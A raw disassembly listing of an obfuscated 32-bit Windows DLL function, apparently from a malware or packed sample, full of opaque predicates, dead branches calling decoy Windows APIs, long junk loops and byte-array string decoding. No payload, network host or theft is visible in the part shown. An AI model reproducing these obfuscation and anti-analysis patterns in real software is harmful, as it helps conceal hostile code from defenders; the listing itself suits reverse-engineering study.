jne 0x1001a441
and dword [ebp - 0xc68], 0
jmp 0x1001a44b
mov dword [ebp - 0xc68], 1
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0xfc4], eax
cmp dword [ebp - 0x3c], 0xd55
jl 0x1001a46c
mov dword [ebp - 0x63c], 1
jmp 0x1001a473
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0xdb5d
jl 0x1001a48b
mov dword [ebp - 0xa38], 1
jmp 0x1001a492
and dword [ebp - 0xa38], 0
cmp dword [ebp - 0xa38], 0x9a2dd318
jne 0x1001a4aa
mov dword [ebp - 0x644], 1
jmp 0x1001a4b1
and dword [ebp - 0x644], 0
mov esi, dword [ebp - 0x47c]
push dword [ebp - 0x44]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
mov eax, dword [eax]
add eax, dword [ebp - 0x644]
cmp eax, esi
jl 0x1001a4dd
mov dword [ebp - 0x884], 1
jmp 0x1001a4e4
and dword [ebp - 0x884], 0
cmp dword [ebp - 0x884], 0x33464eb7
jl 0x1001a4fc
mov dword [ebp - 0x64c], 1
jmp 0x1001a503
and dword [ebp - 0x64c], 0
mov esi, dword [ebp - 0xf8]
imul esi, dword [ebp - 0x64c]
push dword [ebp - 0x44]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp esi, dword [eax]
je 0x1001a52e
mov dword [ebp - 0x9a4], 1
jmp 0x1001a535
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0xc70], eax
jmp 0x1001a337
jmp 0x1001a300
jmp 0x10019f72
mov byte [ebp - 0x11a], 0
movzx eax, byte [ebp - 0x11a]
test eax, eax
je 0x1001a56a
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x25c]
call fcn.10022450
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0xb28], 0
lea eax, [ebp - 0xb28]
push eax
lea ecx, [ebp - 0x13ec]
call fcn.10022358
mov dword [ebp - 0xc78], eax
mov eax, dword [ebp - 0xc78]
mov dword [ebp - 0xc80], eax
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x9b4]
mov ecx, dword [ebp - 0xc80]
call fcn.1000ace8
mov dword [0x1061d938], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13ec]
call fcn.1002237b
and dword [ebp - 0x2f4], 0
jmp 0x1001a5ed
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0xe
jae 0x1001a606
mov eax, dword [ebp - 0x2f4]
mov byte [ebp + eax - 0xb28], 0
jmp 0x1001a5e0
push 4
lea ecx, [ebp - 0xac0]
call fcn.100223ce
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x4c], 0xee76f502
mov dword [ebp - 0x2fc], 0xda3c3d21
mov dword [ebp - 0xc88], 0x5a2e712c
mov dword [ebp - 0xcc4], 0x167df2dd
mov dword [ebp - 0x380], 0
jmp 0x1001a658
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 4
jge 0x1001a67a
push dword [ebp - 0x380]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
mov dword [eax], 0xfffffffa
jmp 0x1001a64b
mov dword [ebp - 0x4c], 3
jmp 0x1001a68a
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1001a913
mov dword [ebp - 0x65c], 1
mov dword [ebp - 0xfcc], 0xadc6f79b
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
mov esi, eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
mov eax, dword [eax]
mov dword [esi], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
cmp dword [ebp - 0x65c], 0xdfa9
je 0x1001a6f0
mov dword [ebp - 0x654], 1
jmp 0x1001a6f7
and dword [ebp - 0x654], 0
cmp dword [ebp - 0x654], 0x874a
jl 0x1001a70f
mov dword [ebp - 0x88c], 1
jmp 0x1001a716
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x88c]
imul eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1001a73a
cmp dword [ebp - 0xc88], 0
jne 0x1001a73a
and dword [ebp - 0xd50], 0
jmp 0x1001a744
mov dword [ebp - 0xd50], 1
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xfd4], eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001a782
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xac0]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001a782
mov dword [ebp - 0xd70], 1
jmp 0x1001a789
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xfdc], eax
mov dword [ebp - 0xcc4], 0x40284818
mov dword [ebp - 0x2fc], 5
jmp 0x1001a7b5
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0xa
jg 0x1001a90e
mov byte [ebp - 0x11c], 0
movzx eax, byte [ebp - 0x11c]
test eax, eax
je 0x1001a909
mov dword [ebp - 0xa70], 0x1851
mov dword [ebp - 0xd38], 0x10007e58
cmp dword [ebp - 0xa70], 0x199a
jle 0x1001a8a7
and dword [ebp - 0x390], 0
jmp 0x1001a812
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x7903
jge 0x1001a8a7
and dword [ebp - 0x388], 0
jmp 0x1001a838
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x3b96
jge 0x1001a8a2
and dword [ebp - 0x304], 0
jmp 0x1001a85a
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x38f8
jge 0x1001a8a0
mov ecx, dword [ebp - 0x388]
imul ecx, dword [ebp - 0x304]
mov eax, dword [ebp - 0x390]
shl eax, cl
cdq
mov dword [ebp - 0xbbc], eax
mov dword [ebp - 0xbb8], edx
push dword [ebp - 0xbb8]
push dword [ebp - 0xbbc]
mov ecx, 0x1061c7f8
call fcn.100221af
jmp 0x1001a84d
jmp 0x1001a82b
jmp 0x1001a805
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0xa70], 0x17fd
jge 0x1001a8dd
mov edx, dword [ebp - 0xd38]
mov ecx, 0x1061c7f8
call fcn.10024b94
jmp 0x1001a8f9
mov dword [ebp - 4], 0xd
jmp 0x1001a909
jmp 0x1001a7a8
jmp 0x1001a683
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac0]
call fcn.10022450
mov byte [ebp - 0x288], 8
mov byte [ebp - 0x287], 0x19
mov byte [ebp - 0x286], 0xb
mov byte [ebp - 0x285], 0x1c
mov byte [ebp - 0x284], 0xa
mov byte [ebp - 0x283], 0x16
mov byte [ebp - 0x282], 2
mov byte [ebp - 0x281], 0
mov byte [ebp - 0x280], 7
mov byte [ebp - 0x27f], 0x17
mov byte [ebp - 0x27e], 6
mov byte [ebp - 0x27d], 0x22
mov byte [ebp - 0x27c], 3
mov byte [ebp - 0x27b], 0x31
mov byte [ebp - 0x27a], 9
mov byte [ebp - 0x279], 2
mov byte [ebp - 0x278], 5
mov byte [ebp - 0x277], 6
mov byte [ebp - 0x276], 0
mov byte [ebp - 0x275], 0x26
mov byte [ebp - 0x274], 1
mov byte [ebp - 0x273], 0x31
mov byte [ebp - 0x272], 0xd
mov byte [ebp - 0x271], 0x25
mov byte [ebp - 0x270], 0xc
mov byte [ebp - 0x26f], 0x24
mov byte [ebp - 0x26e], 4
mov byte [ebp - 0x26d], 7
mov dword [ebp - 0xfe4], 0xfffffff8
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x1001aa10
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov byte [ebp - 0x11e], 0
movzx eax, byte [ebp - 0x11e]
test eax, eax
je 0x1001aa2c
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x288]
and eax, 0x76
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x288]
or ecx, 0x76
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x288]
mov byte [ebp + eax - 0xd80], cl
mov dword [ebp - 0xf0], 2
and dword [ebp - 0x68c], 0
jmp 0x1001aa86
mov eax, dword [ebp - 0xf0]
inc eax
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x1c
jae 0x1001b090
mov dword [ebp - 0x24], 0x801897a4
mov dword [ebp - 0x3a8], 4
mov dword [ebp - 0xb58], 0xa95a2e2
mov dword [ebp - 0x30c], 0
jmp 0x1001aac7
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 2
jge 0x1001aae3
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0x26c], 0
jmp 0x1001aaba
mov dword [ebp - 0x24], 1
jmp 0x1001aaf3
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1001af35
mov dword [ebp - 0xfec], 1
mov dword [ebp - 0xff4], 0xbb1a88af
mov dword [ebp - 0xffc], 0xffffffff
mov dword [ebp - 0x1004], 0xfffffffc
mov dword [ebp - 0x100c], 6
mov dword [ebp - 0x1014], 0xffffffff
mov dword [ebp - 0x101c], 0xe50714ba
mov dword [ebp - 0x1024], 0x9892657c
mov dword [ebp - 0x102c], 2
mov dword [ebp - 0x1034], 1
mov dword [ebp - 0x1208], 1
mov dword [ebp - 0x1204], 1
mov dword [ebp - 0x1200], 1
mov dword [ebp - 0x11fc], 1
mov dword [ebp - 0x103c], 0xf4f
push 4
lea ecx, [ebp - 0xee4]
call fcn.100223ce
mov dword [ebp - 4], 0x10
push 2
lea ecx, [ebp - 0xd98]
call fcn.100223ce
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x74], 0
jmp 0x1001abc8
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 4
jge 0x1001abe1
push dword [ebp - 0x74]
lea ecx, [ebp - 0xee4]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x1001abc1
mov dword [ebp - 0x74], 0
jmp 0x1001abf1
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x1001ac0a
push dword [ebp - 0x74]
lea ecx, [ebp - 0xd98]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x1001abea
mov eax, dword [ebp - 0x24]
sub eax, 0xfffb
je 0x1001ac2d
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x26c], 0
je 0x1001ac2d
mov dword [ebp - 0x664], 1
jmp 0x1001ac34
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x664]
jge 0x1001ac4b
mov dword [ebp - 0xcac], 1
jmp 0x1001ac52
and dword [ebp - 0xcac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp + ecx*4 - 0x26c]
imul ecx, dword [ebp + eax - 0x26c]
cmp ecx, 0x6881
jg 0x1001ac7e
mov dword [ebp - 0xb48], 1
jmp 0x1001ac85
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1044], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x26c]
mov dword [ebp - 0x104c], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp + ecx*4 - 0x26c]
sub ecx, dword [ebp + eax*4 - 0x26c]
mov dword [ebp - 0x894], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x894]
mov dword [ebp + eax - 0x26c], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x26c]
add eax, dword [ebp - 0x24]
je 0x1001ae77
mov byte [ebp - 0x179], 0
movzx eax, byte [ebp - 0x179]
test eax, eax
je 0x1001ae75
mov dword [ebp - 0x66c], 0x2745
mov dword [ebp - 0xb50], 0x10007ec0
cmp dword [ebp - 0x66c], 0x2944
jle 0x1001ae20
and dword [ebp - 0x31c], 0
jmp 0x1001ad2e
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x6f69
jge 0x1001ae20
and dword [ebp - 0x3a0], 0
jmp 0x1001ad54
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x2baa
jge 0x1001ae1b
and dword [ebp - 0x398], 0
jmp 0x1001ad7a
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x7f0b
jge 0x1001ae16
and dword [ebp - 0x314], 0
jmp 0x1001ada0
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x6cea
jge 0x1001ae11
mov ecx, dword [ebp - 0x398]
sub ecx, dword [ebp - 0x314]
mov eax, dword [ebp - 0x3a0]
shl eax, cl
xor eax, dword [ebp - 0x31c]
cdq
mov dword [ebp - 0xbc8], eax
mov dword [ebp - 0xbc4], edx
push dword [ebp - 0xbc4]
push dword [ebp - 0xbc8]
lea ecx, [ebp - 0x1398]
call fcn.1000ac3e
pop ecx
pop ecx
mov dword [ebp - 0xcbc], eax
mov ecx, dword [ebp - 0xcbc]
call fcn.1002218f
push eax
call fcn.1005af25
pop ecx
lea ecx, [ebp - 0x1398]
call fcn.10022185
jmp 0x1001ad93
jmp 0x1001ad6d
jmp 0x1001ad47
jmp 0x1001ad21
push 0x1703
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x66c], 0x24b1
jge 0x1001ae49
push dword [ebp - 0xb50]
call fcn.1005af25
pop ecx
jmp 0x1001ae65
mov dword [ebp - 4], 0x11
jmp 0x1001ae75
jmp 0x1001aeee
mov dword [ebp - 0x224], 0xfffffff8
mov dword [ebp - 0xd40], 0xffffffff
mov dword [ebp - 0x224], 0
jmp 0x1001aea4
mov eax, dword [ebp - 0x224]
dec eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xfffffffa
jl 0x1001aec2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0xd40], eax
jmp 0x1001ae97
cmp dword [ebp - 0x224], 0
je 0x1001aeee
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xd98]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xee4]
call fcn.10022450
jmp 0x1001aaec
push 0
lea ecx, [ebp - 0xd98]
call fcn.1002246c
mov dword [ebp - 0x9ac], eax
mov eax, dword [ebp - 0x9ac]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9ac]
mov dword [ecx], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xd98]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xee4]
call fcn.10022450
jmp 0x1001aaec
cmp dword [ebp - 0x3a8], 0
je 0x1001af42
xor eax, eax
jne 0x1001af51
cmp dword [ebp - 0x24], 0
jne 0x1001af51
and dword [ebp - 0x674], 0
jmp 0x1001af5b
mov dword [ebp - 0x674], 1
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x24], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + eax - 0x26c]
je 0x1001af82
mov dword [ebp - 0x89c], 1
jmp 0x1001af89
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x3a8]
cmp eax, dword [ebp - 0x3a8]
jg 0x1001afa9
mov dword [ebp - 0x67c], 1
jmp 0x1001afb0
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x67c], eax
jne 0x1001afca
mov dword [ebp - 0xa40], 1
jmp 0x1001afd1
and dword [ebp - 0xa40], 0
mov eax, dword [ebp - 0xa40]
add eax, 0x709bc27
cmp eax, 1
je 0x1001afed
mov dword [ebp - 0x684], 1
jmp 0x1001aff4
and dword [ebp - 0x684], 0
cmp dword [ebp - 0x684], 0
ja 0x1001b009
mov dword [ebp - 0x8a4], 1
jmp 0x1001b010
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0xb58], eax
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0x68c]
movzx eax, byte [ebp + eax - 0x28a]
movsx eax, byte [ebp + eax - 0xd80]
mov ecx, dword [ebp - 0xf0]
movzx ecx, byte [ebp + ecx - 0x287]
and ecx, eax
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0x68c]
movzx eax, byte [ebp + eax - 0x28a]
movsx eax, byte [ebp + eax - 0xd80]
mov edx, dword [ebp - 0xf0]
movzx edx, byte [ebp + edx - 0x287]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0xf0]
movzx eax, byte [ebp + eax - 0x288]
mov byte [ebp + eax - 0xd80], dl
jmp 0x1001aa78
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xd80], 0
lea eax, [ebp - 0xd80]
push eax
lea ecx, [ebp - 0x13b0]
call fcn.10022358
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp - 0xd48]
mov dword [ebp - 0xb60], eax
mov dword [ebp - 4], 0x14
mov edx, dword [ebp - 0x9b4]
mov ecx, dword [ebp - 0xb60]
call fcn.1000ace8
mov dword [0x1098d0fc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13b0]
call fcn.1002237b
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0xb8], 0x4f78
mov dword [ebp - 0x140], 0xffffffff
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x1b0]
cmp eax, dword [ebp - 0xb8]
je 0x1001b143
mov dword [ebp - 0x694], 1
jmp 0x1001b14a
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0x1b0]
jne 0x1001b168
mov dword [ebp - 0x8ac], 1
jmp 0x1001b16f
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x8ac]
sub eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0x140]
jne 0x1001b18f
mov dword [ebp - 0x69c], 1
jmp 0x1001b196
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 0x973063d6
jbe 0x1001b1ae
mov dword [ebp - 0xab0], 1
jmp 0x1001b1b5
and dword [ebp - 0xab0], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0xab0], eax
jl 0x1001b1cc
mov dword [ebp - 0x6a4], 1
jmp 0x1001b1d3
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0
jne 0x1001b1e8
mov dword [ebp - 0x8b4], 1
jmp 0x1001b1ef
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x8b4], eax
jle 0x1001b209
mov dword [ebp - 0x6ac], 1
jmp 0x1001b210
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x204]
cmp eax, dword [ebp - 0x6ac]
jge 0x1001b22a
mov dword [ebp - 0xd54], 1
jmp 0x1001b231
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x105c], eax
mov eax, dword [ebp - 0x204]
sub eax, dword [ebp - 0x140]
add eax, 0x598095e7
cmp dword [ebp - 0x78], eax
jge 0x1001b25f
mov dword [ebp - 0x9bc], 1
jmp 0x1001b266
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x9bc], eax
jle 0x1001b27d
mov dword [ebp - 0x6b4], 1
jmp 0x1001b284
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x1001b2a5
cmp dword [ebp - 0x1b0], 0
jne 0x1001b2a5
and dword [ebp - 0x8bc], 0
jmp 0x1001b2af
mov dword [ebp - 0x8bc], 1
cmp dword [ebp - 0x8bc], 0xfff6
ja 0x1001b2c7
mov dword [ebp - 0x6bc], 1
jmp 0x1001b2ce
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0xb8]
jg 0x1001b2f4
mov dword [ebp - 0xa48], 1
jmp 0x1001b2fb
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0x1b0]
add eax, dword [ebp - 0xa48]
cmp eax, dword [ebp - 0x1b0]
jle 0x1001b31b
mov dword [ebp - 0x6c4], 1
jmp 0x1001b322
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x6c4], eax
jl 0x1001b512
mov dword [ebp - 0x1b8], 0xfffffffe
mov dword [ebp - 0xccc], 0xffbdd2a4
mov dword [ebp - 0x9c4], 4
mov dword [ebp - 0xb70], 7
mov dword [ebp - 0xd1c], 0xf5f1e611
mov eax, dword [ebp - 0xb8]
neg eax
cmp eax, 1
jg 0x1001b37f
mov dword [ebp - 0xb68], 1
jmp 0x1001b386
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1064], eax
cmp dword [ebp - 0x204], 0xaa48
jle 0x1001b3aa
mov dword [ebp - 0x8c4], 1
jmp 0x1001b3b1
and dword [ebp - 0x8c4], 0
cmp dword [ebp - 0x8c4], 0xca4d244
jle 0x1001b3c9
mov dword [ebp - 0x6cc], 1
jmp 0x1001b3d0
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0xccc], eax
mov eax, dword [ebp - 0x140]
add eax, 0xb8b0e32
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x106c], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1074], eax
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1084], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x108c], eax
mov eax, dword [ebp - 0x78]
sub eax, 4
cmp eax, dword [ebp - 0x1b8]
je 0x1001b443
mov dword [ebp - 0x6d4], 1
jmp 0x1001b44a
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x6d4]
cmp eax, 0xf959328d
jb 0x1001b469
mov dword [ebp - 0x8cc], 1
jmp 0x1001b470
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x8cc], eax
jg 0x1001b48a
mov dword [ebp - 0x6dc], 1
jmp 0x1001b491
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0x6dc]
jle 0x1001b4ab
mov dword [ebp - 0xa78], 1
jmp 0x1001b4b2
and dword [ebp - 0xa78], 0
cmp dword [ebp - 0xa78], 0x2166a3c8
jge 0x1001b4ca
mov dword [ebp - 0x6e4], 1
jmp 0x1001b4d1
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x6e4], eax
je 0x1001b4eb
mov dword [ebp - 0x8d4], 1
jmp 0x1001b4f2
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xd1c], eax
jmp 0x1001b528
mov dword [ebp - 0xb78], 0x828e8bf3
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0xb78], eax
and dword [ebp - 0x324], 0
jmp 0x1001b53e
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xf
jae 0x1001b6ff
mov dword [ebp - 0xe00], 7
mov dword [ebp - 0xdfc], 7
mov dword [ebp - 0xdf8], 7
mov dword [ebp - 0xdf4], 7
lea ecx, [ebp - 0x459]
call fcn.1002247b
push eax
lea eax, [ebp - 0xdf0]
push eax
lea eax, [ebp - 0xe00]
push eax
lea ecx, [ebp - 0x1314]
call fcn.1002247e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf44]
call fcn.1002242a
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x1c8], 0x84c506d4
mov dword [ebp - 0x9cc], 0x807cfaf4
mov dword [ebp - 0x6fc], 1
mov dword [ebp - 0x1c8], 0
jmp 0x1001b5e6
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jg 0x1001b6dd
mov dword [ebp - 0x1c0], 5
mov dword [ebp - 0x1c0], 0
jmp 0x1001b616
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jg 0x1001b6d8
mov dword [ebp - 0xcd4], 0xfffffff6
push 1
lea ecx, [ebp - 0xf44]
call fcn.1002246c
mov esi, eax
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0xf44]
call fcn.1002246c
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x1001b65f
mov dword [ebp - 0x6f4], 1
jmp 0x1001b666
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0x1c0]
jge 0x1001b680
mov dword [ebp - 0x6ec], 1
jmp 0x1001b687
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6ec]
mov dword [ebp - 0x9cc], eax
mov eax, dword [ebp - 0x9cc]
cmp dword [ebp - 0x6f4], eax
jle 0x1001b6ad
mov dword [ebp - 0x8dc], 1
jmp 0x1001b6b4
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x1c8]
add eax, dword [ebp - 0x8dc]
mov dword [ebp - 0xcd4], eax
mov eax, dword [ebp - 0x6fc]
dec eax
mov dword [ebp - 0x6fc], eax
jmp 0x1001b609
jmp 0x1001b5d9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf44]
call fcn.10022450
mov eax, dword [ebp - 0x324]
mov byte [ebp + eax - 0xd80], 0
jmp 0x1001b531
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0xa50], 0x5438
jge 0x1001b71e
push dword [ebp - 0xb80]
call fcn.1005af25
pop ecx
jmp 0x1001b73a
or dword [ebp - 4], 0xffffffff
jmp 0x1001b744
mov dword [ebp - 0xd44], 1
mov dword [ebp - 0xb88], 7
mov dword [ebp - 0x1094], 0xa13b2885
mov dword [ebp - 0x109c], 0x70512a30
mov dword [ebp - 0xcdc], 0x449
mov dword [ebp - 0xaa0], 0xfff7
mov dword [ebp - 0x9dc], 0xffffffff
mov dword [ebp - 0xa0], 0
jmp 0x1001b7a3
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x1001b7bf
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x71c], 0xffffffff
jmp 0x1001b796
mov dword [ebp - 0xa0], 0
jmp 0x1001b7d8
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001b7f4
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0xbd4], 0x9e22401d
jmp 0x1001b7cb
cmp dword [ebp - 0xd44], 1
jl 0x1001b809
mov dword [ebp - 0x704], 1
jmp 0x1001b810
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0xb88], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xbd4], 0x4183e
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9dc]
cmp ecx, dword [ebp + eax - 0xbd4]
jg 0x1001b854
cmp dword [ebp - 0xcdc], 0
jne 0x1001b854
and dword [ebp - 0x8e4], 0
jmp 0x1001b85e
mov dword [ebp - 0x8e4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x71c]
cmp eax, dword [ebp - 0x8e4]
jg 0x1001b87f
mov dword [ebp - 0x70c], 1
jmp 0x1001b886
and dword [ebp - 0x70c], 0
cmp dword [ebp - 0x70c], 0xaa7f
jg 0x1001b89e
mov dword [ebp - 0x9d4], 1
